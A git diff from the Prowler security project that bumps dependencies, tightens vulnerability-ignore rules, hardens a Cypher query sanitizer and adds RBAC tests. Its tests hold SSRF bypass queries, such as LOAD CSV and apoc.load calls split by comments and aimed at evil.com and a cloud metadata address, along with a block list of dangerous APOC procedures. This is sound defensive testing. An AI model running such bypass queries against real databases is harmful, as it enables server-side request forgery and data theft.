diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json
index a888486d38..4fa316271d 100644
--- a/.claude-plugin/marketplace.json
+++ b/.claude-plugin/marketplace.json
@@ -9,7 +9,7 @@
{
"name": "prowler",
"source": "./claude_plugins/prowler",
- "description": "Prowler for Claude Code — cloud security and compliance skills powered by the Prowler MCP server. Bundles compliance triage and remediation; more skills coming.",
+ "description": "Prowler Cloud security and compliance skills for Claude, powered by the Prowler MCP server. Triage compliance gaps and remediate findings on AWS, Azure, GCP, Kubernetes, Microsoft 365, GitHub and many more providers listed at https://registry.prowler.com, plus custom providers, until your account meets the framework you choose.",
"category": "security",
"homepage": "https://prowler.com"
}
diff --git a/.github/workflows/api-code-quality.yml b/.github/workflows/api-code-quality.yml
index 7cb86206d2..e4c3857929 100644
--- a/.github/workflows/api-code-quality.yml
+++ b/.github/workflows/api-code-quality.yml
@@ -42,6 +42,7 @@ jobs:
github.com:443
pypi.org:443
files.pythonhosted.org:443
+ release-assets.githubusercontent.com:443
api.github.com:443
raw.githubusercontent.com:443
diff --git a/.github/workflows/api-tests.yml b/.github/workflows/api-tests.yml
index 888104386f..f576e6ae6f 100644
--- a/.github/workflows/api-tests.yml
+++ b/.github/workflows/api-tests.yml
@@ -85,6 +85,7 @@ jobs:
github.com:443
pypi.org:443
files.pythonhosted.org:443
+ release-assets.githubusercontent.com:443
cli.codecov.io:443
keybase.io:443
raw.githubusercontent.com:443
diff --git a/.github/workflows/mcp-tests.yml b/.github/workflows/mcp-tests.yml
index 4492ded14c..7a3e296a58 100644
--- a/.github/workflows/mcp-tests.yml
+++ b/.github/workflows/mcp-tests.yml
@@ -49,6 +49,7 @@ jobs:
github.com:443
pypi.org:443
files.pythonhosted.org:443
+ release-assets.githubusercontent.com:443
cli.codecov.io:443
keybase.io:443
ingest.codecov.io:443
diff --git a/.github/workflows/sdk-code-quality.yml b/.github/workflows/sdk-code-quality.yml
index e26133b640..d875dc3587 100644
--- a/.github/workflows/sdk-code-quality.yml
+++ b/.github/workflows/sdk-code-quality.yml
@@ -40,6 +40,7 @@ jobs:
github.com:443
pypi.org:443
files.pythonhosted.org:443
+ release-assets.githubusercontent.com:443
- name: Checkout repository
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
diff --git a/.grype.yaml b/.grype.yaml
index 18345342e8..2981aca12e 100644
--- a/.grype.yaml
+++ b/.grype.yaml
@@ -80,15 +80,16 @@ ignore:
package:
name: python
- # zlib in the Alpine base images of the UI (node:24.18.1-alpine) and MCP
- # (python:3.13.14-alpine3.23) containers. CVE-2026-85091 is a heap overflow in
- # gz_vacate() reached only through non-blocking gzwrite() followed by gzprintf() after
- # a write stall. Node links its own bundled zlib and the MCP server never writes gzip
- # files, so neither image calls that path. TEMPORARY: the 1.3.2-r1 fix is in the
- # Alpine index and could be taken with `apk add --upgrade`, but we wait for the base
- # images to ship it instead (the newest node:24-alpine and python:3.13-alpine3.23 still
- # carry 1.3.2-r0). Pinned to that version so the rule stops matching on its own once a
- # base image moves forward. Remove when the base digests are bumped, by 2026-11-07.
+ # zlib in the Alpine base image of the MCP (python:3.13.16-alpine3.23) container.
+ # CVE-2026-85091 is a heap overflow in gz_vacate() reached only through non-blocking
+ # gzwrite() followed by gzprintf() after a write stall; the MCP server never writes
+ # gzip files, so the image never calls that path. The UI image no longer needs this:
+ # node:24.22.1-alpine is built on Alpine 3.24 and ships 1.3.2-r1. TEMPORARY: the fix
+ # landed in the 3.23 index on 2026-10-06, two days after the pinned python image was
+ # built, and could be taken with `apk add --upgrade`, but we wait for the base image
+ # to ship it instead (python:3.13.17-alpine3.23, built 2026-10-22, already does).
+ # Pinned to that version so the rule stops matching on its own once the base image
+ # moves forward. Remove when the MCP digest is bumped, by 2026-11-07.
# https://security.alpinelinux.org/vuln/CVE-2026-85091
- vulnerability: CVE-2026-85091
package:
diff --git a/.trivyignore.yaml b/.trivyignore.yaml
index c13bd5f114..10b448dc67 100644
--- a/.trivyignore.yaml
+++ b/.trivyignore.yaml
@@ -197,6 +197,25 @@ vulnerabilities:
purls:
- "pkg:npm/%40modelcontextprotocol%2Fsdk@1.27.1"
expired_at: 2027-01-31
+ # Two more SDK declarations and follow-redirects 1.16.0 from the same manifest. The SDK
+ # entries stay pinned to 1.27.1 for the reason above. No lock in this repo lists
+ # follow-redirects, so its pin only keeps a future real dependency from being hidden.
+ - id: CVE-2026-111767
+ purls:
+ - "pkg:npm/%40modelcontextprotocol%2Fsdk@1.27.1"
+ expired_at: 2027-01-31
+ - id: CVE-2026-111768
+ purls:
+ - "pkg:npm/%40modelcontextprotocol%2Fsdk@1.27.1"
+ expired_at: 2027-01-31
+ - id: CVE-2026-111755
+ purls:
+ - "pkg:npm/follow-redirects@1.16.0"
+ expired_at: 2027-01-31
+ - id: CVE-2026-111756
+ purls:
+ - "pkg:npm/follow-redirects@1.16.0"
+ expired_at: 2027-01-31
# Unlike the manifest entries above, this DLL ships in the image:
# ExchangeOnlineManagement/3.10.1/netCore/System.Security.Cryptography.Pkcs.dll. It is a
diff --git a/Dockerfile b/Dockerfile
index a9b5237fad..1037a1a68a 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -8,15 +8,15 @@ ENV POWERSHELL_VERSION=${POWERSHELL_VERSION}
# Opt out of PowerShell telemetry (Application Insights -> dc.services.visualstudio.com)
ENV POWERSHELL_TELEMETRY_OPTOUT=1
-ARG TRIVY_VERSION=0.76.0
+ARG TRIVY_VERSION=0.76.1
ENV TRIVY_VERSION=${TRIVY_VERSION}
ARG ZIZMOR_VERSION=1.24.1
ENV ZIZMOR_VERSION=${ZIZMOR_VERSION}
# Pinned here, not fetched with the artefact: a compromised release ships its own checksum.
-ARG TRIVY_SHA256_AMD64=e24b1c51293c1b15e4ba8d45bbc7891ba053f90278ec2698f3562c993e145fe7
-ARG TRIVY_SHA256_ARM64=aab21e677a7b7071fc79f1711480840754c18a1b9d9cefa7ccd06af63a0e8f4c
+ARG TRIVY_SHA256_AMD64=c7cbe3137fb8a48a17574bede3dd6beb16742d1e9772929940fc90082c39d9c0
+ARG TRIVY_SHA256_ARM64=e174dff2a6dba5e3ae41f8d0537a6324405bd08132497340304c6b20e0f16a1f
ARG POWERSHELL_SHA256_AMD64=db85ae1f45005ffd20e456890585167257151fa99406ccd7ab344f7cf3a766fd
ARG POWERSHELL_SHA256_ARM64=29eb382cd510e4bd246902650ff6cf9f3b56f959d1bd0be75e0a1e425177c831
ARG ZIZMOR_SHA256_AMD64=a8000f3c683319a523d3b20df0e75457ba591f049cfcbfa98966631b56733c03
@@ -121,7 +121,7 @@ ENV HOME='/home/prowler'
ENV PATH="${HOME}/.local/bin:${PATH}"
#hadolint ignore=DL3013
RUN pip install --no-cache-dir --upgrade pip && \
- pip install --no-cache-dir uv==0.12.0
+ pip install --no-cache-dir uv==0.13.4
RUN uv sync --locked --compile-bytecode && \
rm -rf ~/.cache/uv
diff --git a/api/Dockerfile b/api/Dockerfile
index ab954829f3..2585459010 100644
--- a/api/Dockerfile
+++ b/api/Dockerfile
@@ -7,15 +7,15 @@ ENV POWERSHELL_VERSION=${POWERSHELL_VERSION}
# Opt out of PowerShell telemetry (Application Insights -> dc.services.visualstudio.com)
ENV POWERSHELL_TELEMETRY_OPTOUT=1
-ARG TRIVY_VERSION=0.76.0
+ARG TRIVY_VERSION=0.76.1
ENV TRIVY_VERSION=${TRIVY_VERSION}
ARG ZIZMOR_VERSION=1.24.1
ENV ZIZMOR_VERSION=${ZIZMOR_VERSION}
# Pinned here, not fetched with the artefact: a compromised release ships its own checksum.
-ARG TRIVY_SHA256_AMD64=e24b1c51293c1b15e4ba8d45bbc7891ba053f90278ec2698f3562c993e145fe7
-ARG TRIVY_SHA256_ARM64=aab21e677a7b7071fc79f1711480840754c18a1b9d9cefa7ccd06af63a0e8f4c
+ARG TRIVY_SHA256_AMD64=c7cbe3137fb8a48a17574bede3dd6beb16742d1e9772929940fc90082c39d9c0
+ARG TRIVY_SHA256_ARM64=e174dff2a6dba5e3ae41f8d0537a6324405bd08132497340304c6b20e0f16a1f
ARG POWERSHELL_SHA256_AMD64=db85ae1f45005ffd20e456890585167257151fa99406ccd7ab344f7cf3a766fd
ARG POWERSHELL_SHA256_ARM64=29eb382cd510e4bd246902650ff6cf9f3b56f959d1bd0be75e0a1e425177c831
ARG ZIZMOR_SHA256_AMD64=a8000f3c683319a523d3b20df0e75457ba591f049cfcbfa98966631b56733c03
@@ -125,7 +125,7 @@ RUN mkdir -p /tmp/prowler_api_output
COPY --chown=prowler:prowler pyproject.toml uv.lock ./
RUN pip install --no-cache-dir --upgrade pip && \
- pip install --no-cache-dir uv==0.12.0
+ pip install --no-cache-dir uv==0.13.4
ENV PATH="/home/prowler/.local/bin:$PATH"
diff --git a/api/changelog.d/api-image-pillow-certifi-aiohttp-uv-trivy.security.md b/api/changelog.d/api-image-pillow-certifi-aiohttp-uv-trivy.security.md
new file mode 100644
index 0000000000..db74554077
--- /dev/null
+++ b/api/changelog.d/api-image-pillow-certifi-aiohttp-uv-trivy.security.md
@@ -0,0 +1 @@
+Pillow from 12.3.0 to 13.0.0, certifi to 2026.10.19, aiohttp to 3.14.5 with yarl 1.25.1, uv to 0.13.4 and Trivy to 0.76.1 in the API container image, patching the Pillow JPEG decoder heap overflow, the compromised emSign root CAs bundled in certifi and uv, the aiohttp resource exhaustion advisories and the Go 1.27.2 stdlib CVE in the Trivy binary
diff --git a/api/changelog.d/attack-paths-custom-query-comment-bypass.security.md b/api/changelog.d/attack-paths-custom-query-comment-bypass.security.md
new file mode 100644
index 0000000000..6d7576e0d2
--- /dev/null
+++ b/api/changelog.d/attack-paths-custom-query-comment-bypass.security.md
@@ -0,0 +1 @@
+Attack Paths custom queries strip block comments before the blocked-operation check and drop APOC virtual nodes and relationships from results, so `LOAD CSV` can no longer be split with a comment nor its response returned under a forged provider label
diff --git a/api/changelog.d/metadata-endpoints-provider-scope.security.md b/api/changelog.d/metadata-endpoints-provider-scope.security.md
new file mode 100644
index 0000000000..64059c28ea
--- /dev/null
+++ b/api/changelog.d/metadata-endpoints-provider-scope.security.md
@@ -0,0 +1 @@
+`GET /resources/metadata`, `GET /resources/metadata/latest`, `GET /findings/metadata` and `GET /findings/metadata/latest` now honour the provider groups of the caller role instead of aggregating every provider in the tenant
diff --git a/api/changelog.d/saml-config-requires-manage-account.security.md b/api/changelog.d/saml-config-requires-manage-account.security.md
new file mode 100644
index 0000000000..23fc926c7d
--- /dev/null
+++ b/api/changelog.d/saml-config-requires-manage-account.security.md
@@ -0,0 +1 @@
+SAML SSO configuration endpoints require the `manage_account` permission instead of `manage_integrations`, since the configured IdP controls who signs in and which role they receive
diff --git a/api/pyproject.toml b/api/pyproject.toml
index 267bfd3d60..d541e927d5 100644
--- a/api/pyproject.toml
+++ b/api/pyproject.toml
@@ -100,7 +100,7 @@ constraint-dependencies = [
"aiobotocore==2.25.1",
"aiofiles==24.1.0",
"aiohappyeyeballs==2.6.1",
- "aiohttp==3.14.3",
+ "aiohttp==3.14.5",
"aioitertools==0.13.0",
"aiosignal==1.4.0",
"alibabacloud-actiontrail20200706==2.4.1",
@@ -196,7 +196,7 @@ constraint-dependencies = [
"botocore==1.40.61",
"cartography==0.138.1",
"celery==5.6.2",
- "certifi==2026.1.4",
+ "certifi==2026.10.19",
"cffi==2.0.0",
"charset-normalizer==3.4.4",
"circuitbreaker==2.1.3",
@@ -350,7 +350,7 @@ constraint-dependencies = [
"pagerduty==6.1.0",
"pandas==2.2.3",
"pbr==7.0.3",
- "pillow==12.3.0",
+ "pillow==13.0.0",
"pkginfo==1.12.1.2",
"platformdirs==4.5.1",
"plotly==6.5.2",
@@ -453,7 +453,7 @@ constraint-dependencies = [
"xlsxwriter==3.2.9",
"xmlsec==1.3.17",
"xmltodict==1.0.2",
- "yarl==1.22.0",
+ "yarl==1.25.1",
"zipp==3.23.0",
"zope-event==6.1",
"zope-interface==8.2",
diff --git a/api/src/backend/api/attack_paths/cypher_sanitizer.py b/api/src/backend/api/attack_paths/cypher_sanitizer.py
index 35752b3ec9..489109d0ac 100644
--- a/api/src/backend/api/attack_paths/cypher_sanitizer.py
+++ b/api/src/backend/api/attack_paths/cypher_sanitizer.py
@@ -12,7 +12,7 @@ Two responsibilities:
Label-injection pipeline:
-1. **Protect** string literals and line comments (placeholder replacement).
+1. **Protect** string literals and comments (placeholder replacement).
2. **Split** by top-level clause keywords to track clause context.
3. **Pass A** - inject into *labeled* node patterns in ALL segments.
4. **Pass B** - inject into *bare* node patterns in MATCH segments only.
@@ -25,10 +25,12 @@ from rest_framework.exceptions import ValidationError
from tasks.jobs.attack_paths.config import get_provider_label
# Step 1 - String / comment protection
-# Single combined regex: strings first, then line comments
+# Single combined regex: strings first, then line and block comments
# The regex engine finds the leftmost match, so a string like 'https://prowler.com'
# is consumed as a string before the // inside it can match as a comment
-_PROTECTED_RE = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|//[^\n]*")
+_PROTECTED_RE = re.compile(
+ r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|//[^\n]*|/\*[\s\S]*?\*/"
+)
# Step 2 - Clause splitting
# `OPTIONAL MATCH` must come before `MATCH` to avoid partial matching
@@ -143,18 +145,26 @@ def inject_label(cypher: str, label: str) -> str:
# Patterns that indicate SSRF or dangerous procedure calls
# Defense-in-depth layer - the primary control is `neo4j.READ_ACCESS`
+# Neo4j accepts whitespace (and therefore comments) around the dots of a
+# qualified procedure name, so `apoc . load` is `apoc.load`.
+_BLOCKED_APOC_NAMESPACES = (
+ "load",
+ "import",
+ "export",
+ "cypher",
+ "systemdb",
+ "config",
+ "periodic",
+ "do",
+ "trigger",
+ "custom",
+)
_BLOCKED_PATTERNS = [
re.compile(r"\bLOAD\s+CSV\b", re.IGNORECASE),
- re.compile(r"\bapoc\.load\b", re.IGNORECASE),
- re.compile(r"\bapoc\.import\b", re.IGNORECASE),
- re.compile(r"\bapoc\.export\b", re.IGNORECASE),
- re.compile(r"\bapoc\.cypher\b", re.IGNORECASE),
- re.compile(r"\bapoc\.systemdb\b", re.IGNORECASE),
- re.compile(r"\bapoc\.config\b", re.IGNORECASE),
- re.compile(r"\bapoc\.periodic\b", re.IGNORECASE),
- re.compile(r"\bapoc\.do\b", re.IGNORECASE),
- re.compile(r"\bapoc\.trigger\b", re.IGNORECASE),
- re.compile(r"\bapoc\.custom\b", re.IGNORECASE),
+ *(
+ re.compile(rf"\bapoc\s*\.\s*{namespace}\b", re.IGNORECASE)
+ for namespace in _BLOCKED_APOC_NAMESPACES
+ ),
]
@@ -162,10 +172,11 @@ def validate_custom_query(cypher: str) -> None:
"""Reject queries containing known SSRF or dangerous procedure patterns.
Raises ValidationError if a blocked pattern is found.
- String literals and comments are stripped before matching to avoid
- false positives.
+ String literals and comments are replaced by a space before matching:
+ literals cannot trigger false positives and a comment cannot split a
+ keyword pair such as `LOAD /**/ CSV`, which Neo4j still parses as `LOAD CSV`.
"""
- stripped = _PROTECTED_RE.sub("", cypher)
+ stripped = _PROTECTED_RE.sub(" ", cypher)
for pattern in _BLOCKED_PATTERNS:
if pattern.search(stripped):
raise ValidationError({"query": "Query contains a blocked operation"})
diff --git a/api/src/backend/api/attack_paths/sink/base.py b/api/src/backend/api/attack_paths/sink/base.py
index 0134e0a41f..62c62df5bb 100644
--- a/api/src/backend/api/attack_paths/sink/base.py
+++ b/api/src/backend/api/attack_paths/sink/base.py
@@ -45,6 +45,10 @@ class SinkDatabase(Protocol):
parameters: dict[str, Any] | None = None,
) -> neo4j.graph.Graph: ...
+ def is_persisted_element_id(self, element_id: str) -> bool:
+ """Whether an element id belongs to a stored entity rather than one minted at query time."""
+ return True
+
def create_database(self, database: str) -> None: ...
def drop_database(self, database: str) -> None: ...
diff --git a/api/src/backend/api/attack_paths/sink/neo4j.py b/api/src/backend/api/attack_paths/sink/neo4j.py
index c820ed9d93..6f36b018f5 100644
--- a/api/src/backend/api/attack_paths/sink/neo4j.py
+++ b/api/src/backend/api/attack_paths/sink/neo4j.py
@@ -7,6 +7,7 @@ path while phase-1 drains tenant DBs.
import atexit
import logging
+import re
import threading
import time
from collections.abc import Iterator
@@ -186,6 +187,13 @@ class Neo4jSink(SinkDatabase):
return session.execute_read(_run)
+ # APOC virtual nodes report a bare negative number and virtual
+ # relationships a random UUID, neither in the stored-entity format.
+ _PERSISTED_ELEMENT_ID_RE = re.compile(r"^\d+:[^:]+:\d+$")
+
+ def is_persisted_element_id(self, element_id: str) -> bool:
+ return bool(self._PERSISTED_ELEMENT_ID_RE.match(element_id))
+
def create_database(self, database: str) -> None:
with self.get_session() as session:
session.run(
diff --git a/api/src/backend/api/attack_paths/views_helpers.py b/api/src/backend/api/attack_paths/views_helpers.py
index 64b954697d..90a0af7467 100644
--- a/api/src/backend/api/attack_paths/views_helpers.py
+++ b/api/src/backend/api/attack_paths/views_helpers.py
@@ -15,6 +15,7 @@ from api.attack_paths.queries.schema import (
RAW_SCHEMA_URL,
get_cartography_schema_query,
)
+from api.attack_paths.sink.base import SinkDatabase
from api.models import AttackPathsScan
from config.custom_logging import BackendLogger
from config.env import env
@@ -135,7 +136,7 @@ def execute_query(
cypher = inject_provider_label(cypher, provider_id)
graph = backend.execute_read_query(database_name, cypher, parameters)
- return _serialize_graph(graph, provider_id)
+ return _serialize_graph(graph, provider_id, backend)
except graph_database.WriteQueryNotAllowedException:
raise PermissionDenied(
@@ -174,6 +175,8 @@ def execute_custom_query(
# 1. `neo4j.READ_ACCESS` - prevents mutations at the driver level
# 2. `inject_provider_label()` - regex-based label injection scopes node patterns
# 3. `_serialize_graph()` - post-query filter drops nodes without the provider label
+ # and any node or relationship the backend did not store (APOC virtual
+ # entities can carry an arbitrary label and arbitrary properties)
# 4. `USING QUERY:TIMEOUTMILLISECONDS` on Neptune - server-side runaway cutoff
#
# Layer 2 is best-effort (regex can't fully parse Cypher);
@@ -193,7 +196,7 @@ def execute_custom_query(
try:
graph = backend.execute_read_query(database_name, cypher, None)
- serialized = _serialize_graph(graph, provider_id)
+ serialized = _serialize_graph(graph, provider_id, backend)
return _truncate_graph(serialized)
except graph_database.ClientStatementException as exc:
@@ -265,13 +268,15 @@ def _truncate_graph(graph: dict[str, Any]) -> dict[str, Any]:
return graph
-def _serialize_graph(graph, provider_id: str) -> dict[str, Any]:
+def _serialize_graph(graph, provider_id: str, backend: SinkDatabase) -> dict[str, Any]:
provider_label = get_provider_label(provider_id)
nodes = []
kept_node_ids = set()
for node in graph.nodes:
- if provider_label not in node.labels:
+ if provider_label not in node.labels or not backend.is_persisted_element_id(
+ node.element_id
+ ):
continue
kept_node_ids.add(node.element_id)
@@ -286,7 +291,7 @@ def _serialize_graph(graph, provider_id: str) -> dict[str, Any]:
filtered_count = len(graph.nodes) - len(nodes)
if filtered_count > 0:
logger.debug(
- f"Filtered {filtered_count} nodes without provider label {provider_label}"
+ f"Filtered {filtered_count} nodes without provider label {provider_label} or not stored"
)
relationships = []
@@ -294,6 +299,7 @@ def _serialize_graph(graph, provider_id: str) -> dict[str, Any]:
if (
relationship.start_node.element_id not in kept_node_ids
or relationship.end_node.element_id not in kept_node_ids
+ or not backend.is_persisted_element_id(relationship.element_id)
):
continue
diff --git a/api/src/backend/api/tests/test_attack_paths.py b/api/src/backend/api/tests/test_attack_paths.py
index 7e8fa21520..7727786105 100644
--- a/api/src/backend/api/tests/test_attack_paths.py
+++ b/api/src/backend/api/tests/test_attack_paths.py
@@ -321,7 +321,7 @@ def test_serialize_graph_filters_by_provider_label(attack_paths_graph_stub_class
relationships=[rel_keep, rel_drop_orphaned],
)
- result = views_helpers._serialize_graph(graph, provider_id)
+ result = views_helpers._serialize_graph(graph, provider_id, _all_persisted())
assert len(result["nodes"]) == 1
assert result["nodes"][0]["id"] == "n1"
@@ -329,6 +329,71 @@ def test_serialize_graph_filters_by_provider_label(attack_paths_graph_stub_class
assert result["relationships"][0]["id"] == "r1"
+def _all_persisted():
+ return SimpleNamespace(is_persisted_element_id=lambda element_id: True)
+
+
+def test_serialize_graph_drops_virtual_entities(attack_paths_graph_stub_classes):
+ provider_id = "provider-keep"
+ plabel = get_provider_label(provider_id)
+ stored_ids = {"n1", "n2", "r1"}
+ backend = SimpleNamespace(
+ is_persisted_element_id=lambda element_id: element_id in stored_ids
+ )
+
+ node_1 = attack_paths_graph_stub_classes.Node("n1", ["AWSAccount", plabel], {})
+ node_2 = attack_paths_graph_stub_classes.Node("n2", ["AWSRole", plabel], {})
+ # apoc.create.vNode can carry the provider label and any payload
+ node_virtual = attack_paths_graph_stub_classes.Node(
+ "-1", ["AWSAccount", plabel], {"body": "fetched"}
+ )
+
+ rel_stored = attack_paths_graph_stub_classes.Relationship(
+ "r1", "OWNS", node_1, node_2, {}
+ )
+ # apoc.create.vRelationship between two stored nodes passes the endpoint check
+ rel_virtual = attack_paths_graph_stub_classes.Relationship(
+ "45cc10ea-9618-47fb-abaa-8e82a58d6b40", "V", node_1, node_2, {"body": "fetched"}
+ )
+ rel_to_virtual = attack_paths_graph_stub_classes.Relationship(
+ "r2", "OWNS", node_1, node_virtual, {}
+ )
+
+ graph = SimpleNamespace(
+ nodes=[node_1, node_2, node_virtual],
+ relationships=[rel_stored, rel_virtual, rel_to_virtual],
+ )
+
+ result = views_helpers._serialize_graph(graph, provider_id, backend)
+
+ assert [node["id"] for node in result["nodes"]] == ["n1", "n2"]
+ assert [rel["id"] for rel in result["relationships"]] == ["r1"]
+ assert "fetched" not in str(result)
+
+
+@pytest.mark.parametrize(
+ "element_id, persisted",
+ [
+ ("4:9f1d9d76-bb08-478c-b25d-7e577f967732:0", True),
+ ("5:9f1d9d76-bb08-478c-b25d-7e577f967732:12", True),
+ ("-2", False),
+ ("45cc10ea-9618-47fb-abaa-8e82a58d6b40", False),
+ ("", False),
+ ],
+ ids=[
+ "stored_node",
+ "stored_relationship",
+ "virtual_node",
+ "virtual_relationship",
+ "empty",
+ ],
+)
+def test_neo4j_sink_is_persisted_element_id(element_id, persisted):
+ from api.attack_paths.sink.neo4j import Neo4jSink
+
+ assert Neo4jSink().is_persisted_element_id(element_id) is persisted
+
+
# -- serialize_graph_as_text -------------------------------------------------------
diff --git a/api/src/backend/api/tests/test_cypher_sanitizer.py b/api/src/backend/api/tests/test_cypher_sanitizer.py
index db5c9efa3e..f398468c77 100644
--- a/api/src/backend/api/tests/test_cypher_sanitizer.py
+++ b/api/src/backend/api/tests/test_cypher_sanitizer.py
@@ -222,6 +222,12 @@ class TestProtection:
result = _inject(cypher)
assert result.count(LABEL) == 1
+ def test_block_comment_with_node_pattern(self):
+ cypher = "MATCH (n:AWSRole) /* (m:Fake)\n(k) */ RETURN n"
+ result = _inject(cypher)
+ assert "/* (m:Fake)\n(k) */" in result
+ assert result.count(LABEL) == 1
+
# ---------------------------------------------------------------------------
# Clause splitting
@@ -439,6 +445,35 @@ class TestValidation:
assert "blocked operation" in str(exc.value.detail)
+ @pytest.mark.parametrize(
+ "cypher",
+ [
+ "LOAD /* c */ CSV FROM 'http://169.254.169.254/' AS x RETURN x",
+ "LOAD/**/CSV FROM 'http://evil.com' AS x RETURN x",
+ "LOAD /* a */ /* b */ CSV FROM 'http://evil.com' AS x RETURN x",
+ "LOAD /* multi\nline */ CSV FROM 'http://evil.com' AS x RETURN x",
+ "CALL apoc./**/load.json('http://evil.com/') YIELD value RETURN value",
+ "CALL apoc . load.json('http://evil.com/') YIELD value RETURN value",
+ "CALL apoc.load . json('http://evil.com/') YIELD value RETURN value",
+ "CALL apoc\n.cypher.run('CREATE (n)', {}) YIELD value RETURN value",
+ ],
+ ids=[
+ "LOAD_CSV_block_comment",
+ "LOAD_CSV_empty_block_comment",
+ "LOAD_CSV_two_block_comments",
+ "LOAD_CSV_multiline_block_comment",
+ "apoc.load_block_comment",
+ "apoc.load_spaces_around_dot",
+ "apoc.load_spaces_before_procedure",
+ "apoc.cypher_newline_before_dot",
+ ],
+ )
+ def test_rejects_blocked_patterns_split_by_comments_or_whitespace(self, cypher):
+ with pytest.raises(ValidationError) as exc:
+ validate_custom_query(cypher)
+
+ assert "blocked operation" in str(exc.value.detail)
+
@pytest.mark.parametrize(
"cypher",
[
@@ -448,6 +483,8 @@ class TestValidation:
"CALL apoc.create.vNode(['Label'], {}) YIELD node RETURN node",
"MATCH (n) WHERE n.name = 'apoc.load.json' RETURN n",
'MATCH (n) WHERE n.description = "LOAD CSV is cool" RETURN n',
+ "MATCH (n) /* LOAD CSV is documented here */ RETURN n",
+ "MATCH (n) WHERE n.note = '/* LOAD CSV */' RETURN n",
],
ids=[
"simple_match",
@@ -456,6 +493,8 @@ class TestValidation:
"apoc_virtual_node",
"apoc_load_inside_single_quotes",
"load_csv_inside_double_quotes",
+ "load_csv_inside_block_comment",
+ "block_comment_inside_string",
],
)
def test_allows_clean_queries(self, cypher):
diff --git a/api/src/backend/api/tests/test_rbac.py b/api/src/backend/api/tests/test_rbac.py
index 772742eeda..49922d0ae7 100644
--- a/api/src/backend/api/tests/test_rbac.py
+++ b/api/src/backend/api/tests/test_rbac.py
@@ -12,6 +12,7 @@ from api.models import (
ProviderSecret,
Role,
RoleProviderGroupRelationship,
+ SAMLConfiguration,
Scan,
User,
UserRoleRelationship,
@@ -1896,6 +1897,90 @@ class TestUserRoleLinkPermissions:
assert response.status_code == status.HTTP_403_FORBIDDEN
+SAML_METADATA_XML = """
+
+
+
+
+
+ TEST
+
+
+
+ urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress
+
+
+
+
+"""
+
+
+@pytest.mark.django_db
+class TestSAMLConfigurationPermissions:
+ def _create(self, client, email_domain):
+ return client.post(
+ reverse("saml-config-list"),
+ data={"email_domain": email_domain, "metadata_xml": SAML_METADATA_XML},
+ format="json",
+ )
+
+ def test_manage_integrations_only_cannot_create(
+ self, authenticated_client_rbac_manage_integrations_only
+ ):
+ response = self._create(
+ authenticated_client_rbac_manage_integrations_only,
+ "integrations-only-create.com",
+ )
+
+ assert response.status_code == status.HTTP_403_FORBIDDEN
+ assert not SAMLConfiguration.objects.filter(
+ email_domain="integrations-only-create.com"
+ ).exists()
+
+ def test_manage_integrations_only_cannot_read_or_replace(
+ self, authenticated_client_rbac_manage_integrations_only
+ ):
+ client = authenticated_client_rbac_manage_integrations_only
+ tenant = Membership.objects.filter(user=client.user).first().tenant
+ config = SAMLConfiguration.objects.create(
+ tenant_id=str(tenant.id),
+ email_domain="integrations-only-replace.com",
+ metadata_xml=SAML_METADATA_XML,
+ )
+
+ list_response = client.get(reverse("saml-config-list"))
+ patch_response = client.patch(
+ reverse("saml-config-detail", kwargs={"pk": config.id}),
+ data={"metadata_xml": SAML_METADATA_XML},
+ format="json",
+ )
+ delete_response = client.delete(
+ reverse("saml-config-detail", kwargs={"pk": config.id})
+ )
+
+ assert list_response.status_code == status.HTTP_403_FORBIDDEN
+ assert patch_response.status_code == status.HTTP_403_FORBIDDEN
+ assert delete_response.status_code == status.HTTP_403_FORBIDDEN
+ assert SAMLConfiguration.objects.filter(id=config.id).exists()
+
+ def test_manage_account_only_can_create_and_delete(
+ self, authenticated_client_rbac_manage_account
+ ):
+ client = authenticated_client_rbac_manage_account
+
+ create_response = self._create(client, "account-only.com")
+
+ assert create_response.status_code == status.HTTP_201_CREATED
+ config = SAMLConfiguration.objects.get(email_domain="account-only.com")
+
+ delete_response = client.delete(
+ reverse("saml-config-detail", kwargs={"pk": config.id})
+ )
+
+ assert delete_response.status_code == status.HTTP_204_NO_CONTENT
+ assert not SAMLConfiguration.objects.filter(id=config.id).exists()
+
+
@pytest.mark.django_db
class TestCrossTenantRoleLeak:
"""Regression tests for get_role() cross-tenant privilege leak.
diff --git a/api/src/backend/api/tests/test_views.py b/api/src/backend/api/tests/test_views.py
index 2ea4415072..7d658f7989 100644
--- a/api/src/backend/api/tests/test_views.py
+++ b/api/src/backend/api/tests/test_views.py
@@ -98,6 +98,11 @@ from rest_framework_simplejwt.token_blacklist.models import (
OutstandingToken,
)
from rest_framework_simplejwt.tokens import RefreshToken
+from tasks.jobs.backfill import (
+ aggregate_scan_category_summaries,
+ aggregate_scan_resource_group_summaries,
+ backfill_resource_scan_summaries,
+)
class TestViewSet:
@@ -7089,6 +7094,99 @@ class TestAttackPathsScanViewSet:
assert response.status_code == status.HTTP_400_BAD_REQUEST
+def _client_restricted_to_provider(tenant, provider, factory):
+ """Authenticated client for a fresh member whose role only sees `provider`."""
+ user = User.objects.create_user(
+ name=f"restricted-{uuid4()}",
+ email=f"restricted-{uuid4()}@prowler.com",
+ password=TEST_PASSWORD,
+ )
+ Membership.objects.create(
+ user=user, tenant=tenant, role=Membership.RoleChoices.MEMBER
+ )
+ role = Role.objects.create(
+ name=f"restricted-{uuid4()}",
+ tenant_id=tenant.id,
+ manage_users=False,
+ manage_account=False,
+ manage_billing=False,
+ manage_providers=False,
+ manage_integrations=False,
+ manage_scans=False,
+ unlimited_visibility=False,
+ )
+ UserRoleRelationship.objects.create(user=user, role=role, tenant_id=tenant.id)
+ provider_group = ProviderGroup.objects.create(
+ name=f"restricted-{uuid4()}", tenant_id=tenant.id
+ )
+ ProviderGroupMembership.objects.create(
+ tenant_id=tenant.id, provider_group=provider_group, provider=provider
+ )
+ RoleProviderGroupRelationship.objects.create(
+ tenant_id=tenant.id, role=role, provider_group=provider_group
+ )
+ return factory(user, tenant)
+
+
+def _completed_scan_with_summaries(
+ tenant, provider, resources, *, categories, resource_group
+):
+ """Completed scan for `provider` with one finding over `resources`, summary tables filled."""
+ tenant_id = str(tenant.id)
+ scan = Scan.objects.create(
+ name=f"scan-{uuid4()}",
